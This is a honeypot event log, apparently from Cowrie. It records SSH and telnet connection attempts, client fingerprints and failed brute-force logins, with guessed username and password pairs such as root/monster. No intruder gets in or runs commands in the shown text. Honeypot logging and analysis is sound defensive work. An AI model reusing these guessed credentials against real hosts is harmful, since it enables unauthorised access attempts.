{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33344,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b09a4644ee","protocol":"ssh","message":"New connection: 87.106.29.151:33344 (159.203.135.109:22) [session: 73b09a4644ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:24.465701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:24.470089Z","src_ip":"87.106.29.151","session":"73b09a4644ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:24.585449Z","src_ip":"87.106.29.151","session":"73b09a4644ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:25.005564Z","src_ip":"87.106.29.151","session":"73b09a4644ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.503933906555176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:25.035458Z","src_ip":"50.6.8.71","session":"257f32794644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:26.106014Z","src_ip":"87.106.29.151","session":"73b09a4644ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.748446226119995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:32.366979Z","src_ip":"50.6.8.71","session":"20c20a34af6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37548,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a330a405f0","protocol":"ssh","message":"New connection: 103.27.238.120:37548 (10.17.0.5:22) [session: 47a330a405f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:32.455124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:32.459543Z","src_ip":"103.27.238.120","session":"47a330a405f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:32.722712Z","src_ip":"103.27.238.120","session":"47a330a405f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".weiv","message":"login attempt [root/.weiv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:33.512794Z","src_ip":"103.27.238.120","session":"47a330a405f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.457439422607422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:33.536710Z","src_ip":"50.6.8.71","session":"5de0bf088290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:34.779476Z","src_ip":"103.27.238.120","session":"47a330a405f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09190559387207,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:43.335867Z","src_ip":"50.6.8.71","session":"a497801eb1de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":39088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f92850f999","protocol":"ssh","message":"New connection: 103.27.238.68:39088 (10.17.0.5:22) [session: a9f92850f999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:50.080475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:50.084450Z","src_ip":"103.27.238.68","session":"a9f92850f999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3010938167572,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:50.317511Z","src_ip":"50.6.8.71","session":"6341c00c542f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:50.364759Z","src_ip":"103.27.238.68","session":"a9f92850f999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1598753","message":"login attempt [root/1598753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:51.206407Z","src_ip":"103.27.238.68","session":"a9f92850f999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:52.489761Z","src_ip":"103.27.238.68","session":"a9f92850f999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35252,"dst_ip":"10.17.0.5","dst_port":22,"session":"231a243a426a","protocol":"ssh","message":"New connection: 77.94.47.83:35252 (10.17.0.5:22) [session: 231a243a426a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:57.210098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:57.214994Z","src_ip":"77.94.47.83","session":"231a243a426a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:57.344562Z","src_ip":"77.94.47.83","session":"231a243a426a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:57.734462Z","src_ip":"77.94.47.83","session":"231a243a426a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":52314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a08cace45a6e","protocol":"telnet","message":"New connection: 23.94.28.189:52314 (10.17.0.5:23) [session: a08cace45a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:58.240917Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:21:58.870599Z","src_ip":"77.94.47.83","session":"231a243a426a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.2057900428772,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:02.653355Z","src_ip":"50.6.8.71","session":"9b3307bf1f2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33760,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb3698c58d4","protocol":"ssh","message":"New connection: 194.59.206.2:33760 (159.203.135.109:22) [session: adb3698c58d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:16.273094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:16.278217Z","src_ip":"194.59.206.2","session":"adb3698c58d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:16.453547Z","src_ip":"194.59.206.2","session":"adb3698c58d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:16.547072Z","src_ip":"194.59.206.2","session":"adb3698c58d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55556,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d1b76fdb45","protocol":"ssh","message":"New connection: 103.27.238.116:55556 (10.17.0.5:22) [session: b2d1b76fdb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:19.494824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:19.500014Z","src_ip":"103.27.238.116","session":"b2d1b76fdb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:19.768688Z","src_ip":"103.27.238.116","session":"b2d1b76fdb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdexswzaq","message":"login attempt [root/cdexswzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:20.553324Z","src_ip":"103.27.238.116","session":"b2d1b76fdb45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:21.817770Z","src_ip":"103.27.238.116","session":"b2d1b76fdb45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":56050,"dst_ip":"10.17.0.5","dst_port":22,"session":"05acca26586c","protocol":"ssh","message":"New connection: 103.149.28.157:56050 (10.17.0.5:22) [session: 05acca26586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:22.932858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:22.936600Z","src_ip":"103.149.28.157","session":"05acca26586c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:23.183297Z","src_ip":"103.149.28.157","session":"05acca26586c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b902516e3666","protocol":"telnet","message":"New connection: 50.6.8.71:54884 (10.17.0.5:23) [session: b902516e3666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:24.104128Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"monster","message":"login attempt [root/monster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:24.180231Z","src_ip":"103.149.28.157","session":"05acca26586c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:25.433162Z","src_ip":"103.149.28.157","session":"05acca26586c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46038,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb54ca84830d","protocol":"ssh","message":"New connection: 87.106.29.151:46038 (159.203.135.109:22) [session: eb54ca84830d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.054493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.059744Z","src_ip":"87.106.29.151","session":"eb54ca84830d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:22:32.157554Z","src_ip":"87.106.29.151","session":"eb54ca84830d","protocol":"ssh"}
